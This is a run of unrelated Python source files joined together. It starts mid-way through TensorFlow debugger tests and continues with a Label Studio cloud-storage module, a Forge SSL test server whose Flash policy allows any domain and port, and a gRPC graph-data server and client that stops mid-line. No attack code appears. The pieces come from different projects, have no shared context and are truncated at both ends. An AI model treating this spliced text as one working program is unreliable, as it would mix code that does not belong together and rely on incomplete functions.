debug_events_reader.DebugDataReader(new_dump_root) as reader: reader.update() executions = reader.executions() self.assertLen(executions, 2) for execution in executions: self.assertGreater(execution.wall_time, 0) self.assertEqual(execution.op_type, "Unique") self.assertEqual(execution.num_outputs, 2) _, stack_frames = reader.read_execution_stack_trace(execution) self._verifyStackFrames(stack_frames) with debug_events_reader.DebugDataReader( self.dump_root) as old_dump_root_reader: old_dump_root_reader.update() # The old dump root shouldn't have been written to. self.assertEqual(old_dump_root_reader.num_executions(), 0) self.assertFalse(old_dump_root_reader.outermost_graphs()) def testCallingEnableRepeatedlyWithDifferentTensorDebugMode(self): """Assert calling enable_dump_debug_info() with two tensor-debug modes. It should lead to overwriting of the previously-configured mode. """ writer = dumping_callback.enable_dump_debug_info( self.dump_root, tensor_debug_mode="NO_TENSOR") @def_function.function def add_1_divide_by_2(x): return (x + 1.0) / 2.0 self.assertAllClose(add_1_divide_by_2(constant_op.constant(4.0)), 2.5) writer.FlushNonExecutionFiles() writer.FlushExecutionFiles() with debug_events_reader.DebugDataReader(self.dump_root) as reader: reader.update() graph_exec_digests = reader.graph_execution_traces(digest=True) tensor_values = [reader.graph_execution_trace_to_tensor_value(digest) for digest in graph_exec_digests] for tensor_value in tensor_values: # Under NO_TENSOR mode, each tensor is summarized as an empty float32 # array. self.assertAllEqual(tensor_value, []) with self.assertRaisesRegexp( ValueError, r"already.*NO_TENSOR.*FULL_TENSOR.*not be honored"): dumping_callback.enable_dump_debug_info( self.dump_root, tensor_debug_mode="FULL_TENSOR") @parameterized.named_parameters( ("NoTensor", "NO_TENSOR"), ("FullTensor", "FULL_TENSOR"), ) def testDisableTracingWorks(self, tensor_debug_mode): writer = dumping_callback.enable_dump_debug_info( self.dump_root, tensor_debug_mode=tensor_debug_mode) dumping_callback.disable_dump_debug_info() x = constant_op.constant([10.0, 12.0, 10.0]) for _ in range(2): array_ops.unique(x) writer.FlushNonExecutionFiles() writer.FlushExecutionFiles() with debug_events_reader.DebugDataReader(self.dump_root) as reader: reader.update() self.assertEqual(reader.num_executions(), 0) self.assertEqual(reader.num_graph_execution_traces(), 0) self.assertFalse(reader.outermost_graphs()) @parameterized.named_parameters( ("NoTensor", "NO_TENSOR"), ("CurtHealth", "CURT_HEALTH"), ("ConciseHealth", "CONCISE_HEALTH"), ("Shape", "SHAPE"), ("FullTensor", "FULL_TENSOR"), ) def testMultiThreadedExecutionWithSameSetting(self, tensor_debug_mode): """Dumping from multiple threads using the same setting.""" writer = dumping_callback.enable_dump_debug_info( self.dump_root, tensor_debug_mode=tensor_debug_mode) x = variables.Variable(10.0, dtype=dtypes.float32) y = variables.Variable(3.0, dtype=dtypes.float32) @def_function.function def increase_x(): return x.assign_add(y * 2.0) increase_x() num_threads = 3 threads = [] for _ in range(num_threads): threads.append(threading.Thread(target=increase_x)) for thread in threads: thread.start() for thread in threads: thread.join() # 10 --> 16 --> 22 --> 28 --> 34. self.assertAllClose(x.read_value(), 34.0) writer.FlushNonExecutionFiles() writer.FlushExecutionFiles() with debug_events_reader.DebugDataReader(self.dump_root) as reader: reader.update() exec_digests = reader.executions(digest=True) prev_wall_time = 1 for exec_digest in exec_digests: self.assertGreaterEqual(exec_digest.wall_time, prev_wall_time) prev_wall_time = exec_digest.wall_time graph_exec_traces = reader.graph_execution_traces() executed_op_types = [trace.op_type for trace in graph_exec_traces] self.assertEqual(executed_op_types.count("Mul"), 1 + num_threads) self.assertEqual( executed_op_types.count("ReadVariableOp"), 2 * (1 + num_threads)) for trace in graph_exec_traces: # These are all single-output tensors. self.assertEqual(trace.output_slot, 0) tensor_values = [reader.graph_execution_trace_to_tensor_value(trace) for trace in graph_exec_traces] if tensor_debug_mode == "NO_TENSOR": for tensor_value in tensor_values: self.assertAllEqual(tensor_value, []) elif tensor_debug_mode == "CURT_HEALTH": for trace in graph_exec_traces: tensor_id = reader.graph_execution_trace_to_tensor_id(trace) # 1st element: tensor ID; 2nd element: 0 indicating no inf or nan. self.assertAllClose(trace.debug_tensor_value, [tensor_id, 0]) elif tensor_debug_mode == "CONCISE_HEALTH": for tensor_value in tensor_values: tensor_id = reader.graph_execution_trace_to_tensor_id(trace) # 1st element: tensor ID. # 2nd element: element count. Remaining elements: all zero because there # is no -inf, inf or nan. self.assertAllClose(trace.debug_tensor_value, [tensor_id, 1, 0, 0, 0]) elif tensor_debug_mode == "SHAPE": for trace in graph_exec_traces: if trace.op_type == "Mul": tensor_id = reader.graph_execution_trace_to_tensor_id(trace) mul_value = reader.graph_execution_trace_to_tensor_value(trace) # 1st element: tensor_id, should be >= 0. # 2nd element: dtype enum value (float32). # 3rd element: rank. # 4th element: element count. self.assertAllClose(mul_value, [tensor_id, 1, 0, 1, 0, 0, 0, 0, 0, 0]) elif tensor_debug_mode == "FULL_TENSOR": mul_values = [ reader.graph_execution_trace_to_tensor_value(trace) for trace in graph_exec_traces if trace.op_type == "Mul"] self.assertAllClose(mul_values, [6.0, 6.0, 6.0, 6.0]) def testMultiThreadedDumpingWithDifferentSettings(self): dump_root_1 = os.path.join(self.dump_root, "dump_root_1") dump_root_2 = os.path.join(self.dump_root, "dump_root_2") v1 = variables.Variable(10.0, dtype=dtypes.float32) v2 = variables.Variable(3.0, dtype=dtypes.float32) def add_negative_v1_squared_to_itself(): writer = dumping_callback.enable_dump_debug_info( dump_root_1, tensor_debug_mode="FULL_TENSOR") # Run in a loop to facilitate interleaving between threads. for _ in range(3): v1.assign_add(-(v1 ** 2.0)) writer.FlushNonExecutionFiles() writer.FlushExecutionFiles() def add_negative_v2_squared_to_itself(): writer = dumping_callback.enable_dump_debug_info( dump_root_2, tensor_debug_mode="FULL_TENSOR") v2_squared = v2 ** 2.0 # Since dumping is disabled before the Neg op is called, no tensor data # should be dumped from the op, but this shouldn't affect the dumping of # the tensor data from the Neg op in `add_negative_v1_squared_to_itself`. # Both behavior is checked below. dumping_callback.disable_dump_debug_info() negative_v2_squared = -v2_squared v2.assign_add(negative_v2_squared) writer.FlushNonExecutionFiles() writer.FlushExecutionFiles() # v2 is mutated on a sub-thread. sub_thread = threading.Thread(target=add_negative_v2_squared_to_itself) sub_thread.start() add_negative_v1_squared_to_itself() # v1 is mutated on the main thread. sub_thread.join() # 10 - 10 * 10 = -90. # -90 - (-90 * -90) = -8190. # -8190 - (-8190 * -8190) = -67084290. self.assertAllClose(v1.read_value(), -67084290.0) self.assertAllClose(v2.read_value(), -6.0) with debug_events_reader.DebugDataReader(dump_root_1) as reader: reader.update() exec_digests = reader.executions(digest=True) v1_squared_values = [ reader.execution_to_tensor_values(digest) for digest in exec_digests if digest.op_type == "Pow"] negative_v1_squared_values = [ reader.execution_to_tensor_values(digest) for digest in exec_digests if digest.op_type == "Neg"] self.assertAllClose(v1_squared_values, [[100.0], [8100.0], [67076100.0]]) self.assertAllClose( negative_v1_squared_values, [[-100.0], [-8100.0], [-67076100.0]]) with debug_events_reader.DebugDataReader(dump_root_2) as reader: reader.update() exec_digests = reader.executions(digest=True) executed_op_types = [digest.op_type for digest in exec_digests] self.assertNotIn("Neg", executed_op_types) v2_squared_values = [ reader.execution_to_tensor_values(digest) for digest in exec_digests if digest.op_type == "Pow"] self.assertAllClose(v2_squared_values, [[9.0]]) @test_util.run_in_graph_and_eager_modes def testNestedContextIsCapturedByGraphOpCreationHistory(self): writer = dumping_callback.enable_dump_debug_info( self.dump_root, tensor_debug_mode="NO_TENSOR") @def_function.function def iterative_doubling(x, times): i = constant_op.constant(0, dtype=dtypes.int32) while i < times: x = x * 2.0 - 1.0 i += 1 return x x = constant_op.constant(2.0, dtype=dtypes.float32) times = constant_op.constant(4, dtype=dtypes.int32) # 2 * 2 - 1 = 3; 3 * 2 - 1 = 5; 5 * 2 - 1 = 9; 9 * 2 - 1 = 17. self.assertAllClose(self.evaluate(iterative_doubling(x, times)), 17.0) writer.FlushNonExecutionFiles() writer.FlushExecutionFiles() with debug_events_reader.DebugDataReader(self.dump_root) as reader: reader.update() less_op_digest = reader.graph_op_digests(op_type="Less")[-1] mul_op_digest = reader.graph_op_digests(op_type="Mul")[-1] sub_op_digest = reader.graph_op_digests(op_type="Sub")[-1] # The Less op is from the while-loop cond context and hence should have # a different innermost context ID from the mul and sub ops, which are # both from the while-loop body context. self.assertNotEqual(less_op_digest.graph_id, mul_op_digest.graph_id) self.assertNotEqual(less_op_digest.graph_id, sub_op_digest.graph_id) # The Mul and Sub ops are from the same innermost context. self.assertEqual(mul_op_digest.graph_id, sub_op_digest.graph_id) @parameterized.named_parameters( ("NoTensor", "NO_TENSOR"), ("FullTensor", "FULL_TENSOR"), ) @test_util.run_in_graph_and_eager_modes def testSimpleKerasRecurrentModelPredict(self, tensor_debug_mode): writer = dumping_callback.enable_dump_debug_info( self.dump_root, tensor_debug_mode=tensor_debug_mode) model = _create_simple_recurrent_keras_model([3, 4]) batch_size = 5 xs = np.ones([batch_size, 3, 4]) self.assertAllClose(model.predict(xs), np.zeros([batch_size, 1])) writer.FlushNonExecutionFiles() writer.FlushExecutionFiles() with debug_events_reader.DebugDataReader(self.dump_root) as reader: reader.update() if context.executing_eagerly(): # NOTE(b/142486213): Execution of the TF function happens with # Session.run() in v1 graph mode, hence it doesn't get logged to the # .execution file. self.assertTrue(reader.executions(digest=True)) graph_exec_digests = reader.graph_execution_traces(digest=True) executed_op_types = [digest.op_type for digest in graph_exec_digests] # These are the ops that we can safely assume to have been executed during # the model prediction. self.assertIn("MatMul", executed_op_types) self.assertIn("BiasAdd", executed_op_types) # On the GPU, CudnnRNN is used in lieu of the default op-by-op # implementation. self.assertTrue( ("Sigmoid" in executed_op_types and "Tanh" in executed_op_types or "CudnnRNN" in executed_op_types)) # Under the default NO_TENSOR tensor-debug mode, the tensor_proto ought to # be an empty float32 tensor. tensor_values = [reader.graph_execution_trace_to_tensor_value(digest) for digest in graph_exec_digests] if tensor_debug_mode == "NO_TENSOR": for tensor_value in tensor_values: self.assertAllEqual(tensor_value, []) else: # Refrain from asserting the internal implementation details of the LSTM # layer. self.assertTrue(any( bool(tensor_value.size) for tensor_value in tensor_values)) @parameterized.named_parameters( ("NoTensor", "NO_TENSOR"), ("FullTensor", "FULL_TENSOR"), ) @test_util.run_in_graph_and_eager_modes def testSimpleKerasRecurrentModelFit(self, tensor_debug_mode): writer = dumping_callback.enable_dump_debug_info( self.dump_root, tensor_debug_mode=tensor_debug_mode) model = _create_simple_recurrent_keras_model([3, 4]) xs = np.ones([5, 3, 4]) ys = np.ones([5, 1]) history = model.fit(xs, ys, epochs=3, verbose=0) self.assertAllClose( history.history["loss"], [1.0, 0.9603999853134155, 0.9223681688308716]) writer.FlushNonExecutionFiles() writer.FlushExecutionFiles() with debug_events_reader.DebugDataReader(self.dump_root) as reader: reader.update() if context.executing_eagerly(): exec_digests = reader.executions(digest=True) self.assertTrue(exec_digests) if tensor_debug_mode == "NO_TENSOR": for digest in exec_digests: tensor_values = reader.execution_to_tensor_values(digest) for tensor_value in tensor_values: self.assertEqual(tensor_value, []) graph_exec_digests = reader.graph_execution_traces(digest=True) executed_op_types = [digest.op_type for digest in graph_exec_digests] # These are the ops that we can safely assume to have been executed during # the recurrent model's fit() call. self.assertIn("MatMul", executed_op_types) self.assertIn("BiasAdd", executed_op_types) # On the GPU, CudnnRNN is used in lieu of the default op-by-op # implementation. self.assertTrue( ("Sigmoid" in executed_op_types and "Tanh" in executed_op_types or "CudnnRNN" in executed_op_types)) self.assertTrue( ("SigmoidGrad" in executed_op_types and "TanhGrad" in executed_op_types or "CudnnRNNBackprop" in executed_op_types)) if tensor_debug_mode == "NO_TENSOR": for digest in graph_exec_digests: tensor_values = reader.graph_execution_trace_to_tensor_value(digest) for tensor_value in tensor_values: self.assertEqual(tensor_value, []) @parameterized.named_parameters( ("NoTensor", "NO_TENSOR"), ("FullTensor", "FULL_TENSOR"), ) @test_util.run_in_graph_and_eager_modes def testMobiletNetV2Fit(self, tensor_debug_mode): """Test training Keras MobileNetV2 works with dumping.""" # Use a large circular-buffer to make sure we capture all the executed ops. writer = dumping_callback.enable_dump_debug_info( self.dump_root, tensor_debug_mode=tensor_debug_mode, circular_buffer_size=100000) model = mobilenet_v2.MobileNetV2( input_shape=(32, 32, 3), alpha=0.1, weights=None) y = model.layers[22].output y = core.Flatten()(y) y = core.Dense(1)(y) model = models.Model(inputs=model.inputs, outputs=y) batch_size = 2 xs = np.zeros([batch_size] + list(model.input_shape[1:])) ys = np.zeros([batch_size] + list(model.output_shape[1:])) model.compile(optimizer="sgd", loss="mse") epochs = 1 history = model.fit(xs, ys, epochs=epochs, verbose=0) self.assertLen(history.history["loss"], epochs) writer.FlushNonExecutionFiles() writer.FlushExecutionFiles() with debug_events_reader.DebugDataReader(self.dump_root) as reader: reader.update() if context.executing_eagerly(): # NOTE(b/142486213): Execution of the TF function happens with # Session.run() in v1 graph mode, hence it doesn't get logged to the # .execution file. exec_digests = reader.executions(digest=True) self.assertTrue(exec_digests) graph_exec_digests = reader.graph_execution_traces() executed_op_types = [digest.op_type for digest in graph_exec_digests] # These are the ops that we can safely assume to have been executed during # the model's fit() call. self.assertIn("Conv2D", executed_op_types) self.assertIn("Relu6", executed_op_types) self.assertIn("Conv2DBackpropFilter", executed_op_types) self.assertIn("Relu6Grad", executed_op_types) if tensor_debug_mode == "NO_TENSOR": # Under the default NO_TENSOR tensor-debug mode, the tensor_proto ought # to be an empty float32 tensor. tensor_values = [ reader.graph_execution_trace_to_tensor_value(digest) for digest in graph_exec_digests] for tensor_value in tensor_values: self.assertAllEqual(tensor_value, []) elif tensor_debug_mode == "FULL_TENSOR": conv2d_values = [ reader.graph_execution_trace_to_tensor_value(digest) for digest in graph_exec_digests if digest.op_type == "Conv2D"] self.assertTrue(conv2d_values) for conv2d_value in conv2d_values: self.assertGreater(len(conv2d_value.shape), 1) self.assertEqual(conv2d_value.shape[0], batch_size) relu6_values = [ reader.graph_execution_trace_to_tensor_value(digest) for digest in graph_exec_digests if digest.op_type == "Relu6"] self.assertTrue(relu6_values) for relu6_value in relu6_values: self.assertGreater(len(relu6_value.shape), 1) self.assertEqual(relu6_value.shape[0], batch_size) conv2d_bp_filter_values = [ reader.graph_execution_trace_to_tensor_value(digest) for digest in graph_exec_digests if digest.op_type == "Conv2DBackpropFilter"] self.assertTrue(conv2d_bp_filter_values) for conv2d_bp_filter_value in conv2d_bp_filter_values: self.assertGreater(len(conv2d_bp_filter_value.shape), 1) relu6_grad_values = [ reader.graph_execution_trace_to_tensor_value(digest) for digest in graph_exec_digests if digest.op_type == "Relu6Grad"] self.assertTrue(relu6_grad_values) for relu6_grad_value in relu6_grad_values: self.assertGreater(len(relu6_grad_value.shape), 1) if __name__ == "__main__": ops.enable_eager_execution() googletest.main()
base.py
import os import re import logging import threading import ujson as json from abc import ABC, abstractmethod from datetime import datetime, timedelta from shutil import copy2 from flask_wtf import FlaskForm from wtforms import StringField, BooleanField from wtforms.validators import InputRequired, Optional, ValidationError from collections import OrderedDict from ordered_set import OrderedSet from label_studio.utils.io import json_load from label_studio.utils.validation import TaskValidator, ValidationError as TaskValidationError logger = logging.getLogger(__name__) _storage = {} def register_storage(storage_type, class_def): if storage_type in _storage: raise IndexError('Storage {} already exists'.format(storage_type)) _storage[storage_type] = class_def def get_storage_form(storage_type): return _storage[storage_type].form def create_storage(storage_type, name, path, project_path=None, project=None, **kwargs): if storage_type not in _storage: raise NotImplementedError('Can\'t create storage "{}"'.format(storage_type)) return _storage[storage_type](name=name, path=path, project_path=project_path, project=project, **kwargs) def get_available_storage_names(): out = OrderedDict() for key in sorted(_storage, key=lambda x: _storage[x].description): out[key] = _storage[key].description return out class BaseForm(FlaskForm): bound_params = {} class BaseStorageForm(BaseForm): path = StringField('Path', [InputRequired()], description='Storage path (e.g. bucket name)') # Bind here form fields to storage fields {"form field": "storage_field"} bound_params = dict(path='path') class BaseStorage(ABC): form = BaseStorageForm description = 'Base Storage' def __init__(self, name, path, project_path=None, project=None, **kwargs): self.name = name self.path = path self.project_path = project_path self.project = project self.form_class = BaseStorageForm self.is_syncing = False def __str__(self): return self.__class__.__name__ def get_params(self): return { form_param: getattr(self, storage_param) for form_param, storage_param in self.form.bound_params.items() } def set_project(self, project): self.project = project @property def default_data_key(self): if self.project is not None: if self.project.data_types.keys(): return list(self.project.data_types.keys())[0] return '' @property @abstractmethod def readable_path(self): pass @classmethod def from_dict(cls, d): return cls(**d) @abstractmethod def get(self, id): pass @abstractmethod def __contains__(self, id): pass @abstractmethod def set(self, id, value): pass @abstractmethod def set_many(self, ids, values): pass @abstractmethod def ids(self): pass @abstractmethod def max_id(self): pass @abstractmethod def items(self): pass @abstractmethod def remove(self, id): pass @abstractmethod def remove_all(self): pass @abstractmethod def empty(self): pass class IsValidRegex(object): def __call__(self, form, field): try: re.compile(field.data) except re.error: raise ValidationError(field.data + ' is not a valid regular expression') class CloudStorageForm(BaseStorageForm): prefix = StringField('Prefix', [Optional()], description='File prefix') regex = StringField('Regex', [IsValidRegex()], description='File filter by regex, example: .* (If not specified, all files will be skipped)') # noqa data_key = StringField('Data key', [Optional()], description='Task tag key from your label config') use_blob_urls = BooleanField('Use BLOBs URLs', default=True, description='Generate task data with URLs pointed to your bucket objects ' '(for resources like jpg, mp3 & other BLOBs). This could be used for ' 'label configs with <b>one data key only</b>. ' 'If not selected, bucket objects will be interpreted as ' "tasks in Label Studio JSON format and it's suitable " "for <b>multiple data keys</b>") bound_params = dict( prefix='prefix', regex='regex', use_blob_urls='use_blob_urls', data_key='data_key', **BaseStorageForm.bound_params ) class CloudStorage(BaseStorage): thread_lock = threading.Lock() form = CloudStorageForm description = 'Base Cloud Storage' def __init__( self, prefix=None, regex=None, create_local_copy=True, use_blob_urls=True, data_key=None, sync_in_thread=True, **kwargs ): super(CloudStorage, self).__init__(**kwargs) self.prefix = prefix or '' self.regex_str = regex self.regex = re.compile(self.regex_str) if self.regex_str else None self._ids_file = None if self.project_path is not None: self.objects_dir = os.path.join(self.project_path, 'completions') os.makedirs(self.objects_dir, exist_ok=True) self._ids_file = os.path.join(self.project_path, self.name + '.json') self.create_local_copy = create_local_copy self.use_blob_urls = use_blob_urls self.data_key = data_key self.sync_in_thread = sync_in_thread self.client = self._get_client() self.validate_connection() self.last_sync_time = None self.is_syncing = False self.sync_period_in_sec = 30 self._ids_keys_map = {} self._selected_ids = [] self._keys_ids_map = {} self._load_ids() self.sync() def get_params(self): """Get params to fill the form""" params = super(CloudStorage, self).get_params() params.update({ 'prefix': self.prefix, 'regex': self.regex_str, 'create_local_copy': self.create_local_copy }) return params @abstractmethod def validate_connection(self): pass @abstractmethod def _get_client(self): pass @property @abstractmethod def url_prefix(self): pass @property def key_prefix(self): return self.url_prefix + self.path + '/' @property @abstractmethod def readable_path(self): pass @property def _save_to_file_enabled(self): return self.project_path is not None and self._ids_file is not None def _load_ids(self): if self._save_to_file_enabled and os.path.exists(self._ids_file): self._ids_keys_map = json_load(self._ids_file, int_keys=True) self._keys_ids_map = {item['key']: id for id, item in self._ids_keys_map.items()} def _save_ids(self): if self._save_to_file_enabled: with open(self._ids_file, mode='w') as fout: json.dump(self._ids_keys_map, fout) @abstractmethod def _get_value(self, key): pass def _get_value_url(self, key): data_key = self.data_key if self.data_key else self.default_data_key return {data_key: self.url_prefix + self.path + '/' + key} def _validate_task(self, key, parsed_data): """ Validate parsed data with labeling config and task structure """ is_list = isinstance(parsed_data, list) # we support only one task per JSON file if not (is_list and len(parsed_data) == 1 or isinstance(parsed_data, dict)): raise TaskValidationError('Error at ' + key + ':\n' 'Cloud storages support one task per one JSON file only. ' 'Task must be {} or [{}] with length = 1') # classic validation for one task validator = TaskValidator(self.project) try: new_tasks = validator.to_internal_value(parsed_data if is_list else [parsed_data]) except TaskValidationError as e: # pretty format of errors messages = e.msg_to_list() out = [(key + ' :: ' + msg) for msg in messages] out = "\n".join(out) raise TaskValidationError(out) return new_tasks[0] def get_data(self, key): if self.use_blob_urls: return self._get_value_url(key) else: # read task json from bucket and validate it try: parsed_data = self._get_value(key) except Exception as e: raise Exception(key + ' :: ' + str(e)) return self._validate_task(key, parsed_data) def _get_key_by_id(self, id): item = self._ids_keys_map.get(id) if not item: # selected id not found in fetched keys return item_key = item['key'] if not item_key.startswith(self.key_prefix + self.prefix): # found key not from current storage return return item_key def get(self, id): item_key = self._get_key_by_id(id) if not item_key: return try: key = item_key.split(self.key_prefix, 1)[-1] data = self.get_data(key) except Exception as exc: # return {'error': True, 'message': str(exc)} logger.error(str(exc), exc_info=True) raise exc if 'data' in data: data['id'] = id return data else: return {'data': data, 'id': id} def _id_to_key(self, id): if not isinstance(id, str): id = str(id) if self.prefix: if id.startswith(self.prefix): return id if self.prefix.endswith('/'): return self.prefix + id return self.prefix + '/' + id return id @abstractmethod def _set_value(self, key, value): pass def _pre_set(self, id, value): if self.prefix: key = self.prefix + '/' + str(id) else: key = str(id) full_key = self.key_prefix + key self._set_value(key, value) self._ids_keys_map[id] = {'key': full_key, 'exists': True} self._keys_ids_map[full_key] = id self._selected_ids.append(id) return full_key def set(self, id, value): full_key = self._pre_set(id, value) self._save_ids() logger.debug('Create ' + full_key + ' in ' + self.readable_path) if self.create_local_copy: self._create_local(id, value) def set_many(self, keys, values): raise NotImplementedError def _create_local(self, id, value): local_file = os.path.join(self.objects_dir, str(id) + '.json') logger.debug('Creating local copy in file ' + local_file) with open(local_file, mode='w', encoding='utf8') as fout: json.dump(value, fout) def max_id(self): return max(self._ids_keys_map.keys(), default=-1) def ids(self): self.sync() return self._selected_ids def _ready_to_sync(self): if not self.regex_str: return False if self.last_sync_time is None: return True return (datetime.now() - self.last_sync_time) > timedelta(seconds=self.sync_period_in_sec) def sync(self): self.validate_connection() if self.sync_in_thread: if self._ready_to_sync(): thread = threading.Thread(target=self._sync) thread.daemon = True thread.start() else: logger.debug('Not ready to sync.') else: self._sync() def _validate_object(self, key): pass def iter_full_keys(self): for key in self._get_objects(): if self.regex is not None and not self.regex.match(key): logger.debug(key + ' is skipped by regex filter') continue try: self._validate_object(key) except Exception as exc: continue yield self.key_prefix + key def _sync(self): with self.thread_lock: self.last_sync_time = datetime.now() self.is_syncing = True new_id = self.max_id() + 1 new_ids_keys_map = {} new_keys_ids_map = {} full = OrderedSet(self.iter_full_keys()) intersect = full & OrderedSet(self._keys_ids_map) exclusion = full - intersect for key in exclusion: id = new_id new_id += 1 new_ids_keys_map[id] = {'key': key, 'exists': True} new_keys_ids_map[key] = id for key in intersect: id = self._keys_ids_map[key] new_ids_keys_map[id] = {'key': key, 'exists': True} new_keys_ids_map[key] = id with self.thread_lock: self._selected_ids = list(new_ids_keys_map.keys()) self._ids_keys_map.update(new_ids_keys_map) self._keys_ids_map.update(new_keys_ids_map) self._save_ids() self.is_syncing = False @abstractmethod def _get_objects(self): pass def items(self): for id in self.ids(): obj = self.get(id) if obj: yield id, obj def empty(self): self.sync() return len(self._ids_keys_map) == 0 def __contains__(self, id): item_key = self._get_key_by_id(id) return item_key is not None def remove(self, key): raise NotImplementedError def remove_all(self): raise NotImplementedError
server.py
#!/usr/bin/env python """ SSL server for Forge tests. - The server changes to the directory of the server script. - SSL uses "server.key" and "server.crt". - Sever performs basic static file serving. - Starts Flash cross domain policy file server. - Defaults to HTTP/HTTPS port 19400. - Defaults to Flash socket policy port 19945. $ ./server.py [options] If you just need a simple HTTP server, also consider: $ python -m SimpleHTTPServer 19400 """ from multiprocessing import Process from optparse import OptionParser import SimpleHTTPServer import SocketServer import os import sys import time # Try to import special Forge SSL module with session cache support # Using the built directory directly python_version = "python" + sys.version[:3] sys.path.insert(0, os.path.join( os.path.dirname(os.path.realpath(__file__)), "..", "dist", "forge_ssl", "lib", python_version, "site-packages")) try: from forge import ssl have_ssl_sessions = True have_ssl = True except ImportError: have_ssl_sessions = False try: import ssl have_ssl = True except ImportError: have_ssl = False # Set address reuse for all TCPServers SocketServer.TCPServer.allow_reuse_address = True # The policy file # NOTE: This format is very strict. Edit with care. policy_file = """\ <?xml version="1.0"?>\ <!DOCTYPE cross-domain-policy\ SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">\ <cross-domain-policy>\ <allow-access-from domain="*" to-ports="*"/>\ </cross-domain-policy>\0""" class PolicyHandler(SocketServer.BaseRequestHandler): """ The RequestHandler class for our server. Returns a policy file when requested. """ def handle(self): # get some data # TODO: make this more robust (while loop, etc) self.data = self.request.recv(1024).rstrip('\0') #print "%s wrote:" % self.client_address[0] #print repr(self.data) # if policy file request, send the file. if self.data == "<policy-file-request/>": print "Policy server request from %s." % (self.client_address[0]) self.request.send(policy_file) else: print "Policy server received junk from %s: \"%s\"" % \ (self.client_address[0], repr(self.data)) def create_policy_server(options): """Start a policy server""" print "Policy serving from %d." % (options.policy_port) policyd = SocketServer.TCPServer((options.host, options.policy_port), PolicyHandler) return policyd class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): pass def create_http_server(options, script_dir): """Start a static file server""" Handler = SimpleHTTPServer.SimpleHTTPRequestHandler # httpd = SocketServer.TCPServer((options.host, options.port), Handler) httpd = ThreadedTCPServer((options.host, options.port), Handler) if options.tls: if not have_ssl: raise Exception("SSL support from Python 2.6 or later is required.") # setup session args if we session support sess_args = {} if have_ssl_sessions: sess_args["sess_id_ctx"] = "forgetest" else: print "Forge SSL with session cache not available, using standard version." httpd.socket = ssl.wrap_socket( httpd.socket, keyfile="server.key", certfile="server.crt", server_side=True, **sess_args) print "Serving from \"%s\"." % (script_dir) print "%s://%s:%d/" % \ (("https" if options.tls else "http"), httpd.server_address[0], options.port) return httpd def serve_forever(server): """Serve until shutdown or keyboard interrupt.""" try: server.serve_forever() except KeyboardInterrupt: return def main(): """Start static file and policy servers""" usage = "Usage: %prog [options]" parser = OptionParser(usage=usage) parser.add_option("", "--host", dest="host", metavar="HOST", default="localhost", help="bind to HOST") parser.add_option("-p", "--port", dest="port", type="int", help="serve on PORT", metavar="PORT", default=19400) parser.add_option("-P", "--policy-port", dest="policy_port", type="int", help="serve policy file on PORT", metavar="PORT", default=19945) parser.add_option("", "--tls", dest="tls", action="store_true", help="serve HTTPS", default=False) (options, args) = parser.parse_args() # Change to script dir so SSL and test files are in current dir. script_dir = os.path.dirname(os.path.realpath(__file__)) os.chdir(script_dir) print "Forge Test Server. Use ctrl-c to exit." # create policy and http servers httpd = create_http_server(options, script_dir) policyd = create_policy_server(options) # start servers server_p = Process(target=serve_forever, args=(httpd,)) policy_p = Process(target=serve_forever, args=(policyd,)) server_p.start() policy_p.start() processes = [server_p, policy_p] while len(processes) > 0: try: for p in processes: if p.is_alive(): p.join(1) else: processes.remove(p) except KeyboardInterrupt: print "\nStopping test server..." # processes each receive interrupt # so no need to shutdown #httpd.shutdown(); #policyd.shutdown(); if __name__ == "__main__": main()
grpc.py
import numpy as np import grpc from concurrent import futures import gnn_rpc_pb2 as pb import gnn_rpc_pb2_grpc as pb_rpc class GNNDataHandler(pb_rpc.GNNDataHandlerServicer): def __init__(self, x, y, indptr, indices, nodes_from): super().__init__() # self.x = x # self.y = y # self.indptr = indptr # self.indices = indices # self.nodes_from = nodes_from num_nodes = x.shape[0] self.nodes = np.array( [ pb.GNNNodeData( feat=x[i], label=y[i], edge_nodes_id=indices[indptr[i]:indptr[i+1]], edge_nodes_from=nodes_from[indptr[i]:indptr[i+1]] ) for i in range(num_nodes) ], dtype=object ) def PullNodeFeature(self, request, context): index = request.index reply = pb.GNNDataReply(nodes=self.nodes[index]) return reply class GRPCGraphServer(): def __init__(self, ip): MAX_MESSAGE_LENGTH = 256 * 1024 * 1024 self.server = grpc.server(futures.ThreadPoolExecutor(max_workers=_nrank), options=[('grpc.max_send_message_length', message_length), ('grpc.max_receive_message_length', message_length)]) self.server.add_insecure_port(ip) def start(self, handler): pb_rpc.add_GNNDataHandlerServicer_to_server(handler, self.server) self.server.start() _server = None _ip = None _nrank = None _rank = None _stubs = None _feat_len = None message_length = 256 * 1024 * 1024 def grpc_init(hosts, ports, nrank, rank): global _ip, _server, _nrank, _rank _nrank = nrank _rank = rank _ip = ["{0}:{1}".format(hosts[i], ports[i]) for i in range(nrank)] _server = GRPCGraphServer(_ip[rank]) def grpc_stubs_init(): global _stubs _stubs = [] for i in range(_nrank): if i == _rank: _stubs.append(None) else: channel = grpc.insecure_channel( _ip[i], options=[('grpc.max_send_message_length', message_length), ('grpc.max_receive_message_length', message_length)] ) stub = pb_rpc.GNNDataHandlerStub(channel) _stubs.append(stub) def grpc_upload(x, y, indptr, indices, nodes_from): global _feat_len _feat_len = x.shape[1] handler = GNNDataHandler(x, y, indptr, indices, nodes_from) _server.start(handler) def grpc_download(nodes_id, nodes_from): num_nodes = len(nodes_id) # return empty arrays to soothe the caller if num_nodes == 0: return np.array([]).reshape(-1, _feat_len).astype(np.float32), \ np.array([]).astype(np.int32), \ np.array([]).astype(np.long), \ np.vstack([[],[]]).astype(np.long) nodes = np.empty(shape=[num_nodes],dtype=object) # make requests and get all the data, reorder them to the original order import threading def remote_call(i): index = np.where(nodes_from==i)[0] if len(index) == 0: return request = pb.GNNDataRequest(index=nodes_id[index]) reply = _stubs[i].PullNodeFeature(request) nodes[index] = reply.nodes threads = [] for i in range(_nrank): th = threading.Thread(target=remote_call, args=[i]) threads.append(th) th.start() for th in threads: th.join() # import time # start = time.time() feat = np.vstack([node.feat for node in nodes]).astype(np.float32) # print("feat", num_nodes, time.time() - start) label = np.array([node.label for node in nodes]).astype(np.int32) degree = np.array([len(node.edge_nodes_id) for node in nodes]).astype(np.long) # print("deg", num_nodes, time.time() - start) edges_id = np.concatenate([node.edge_nodes_id for node in nodes]).astype(np.long) edges_from = np.concatenate([node.edge_nodes_from for node in nodes]).astype(np.long) edges_data = np.vstack([edges_id, 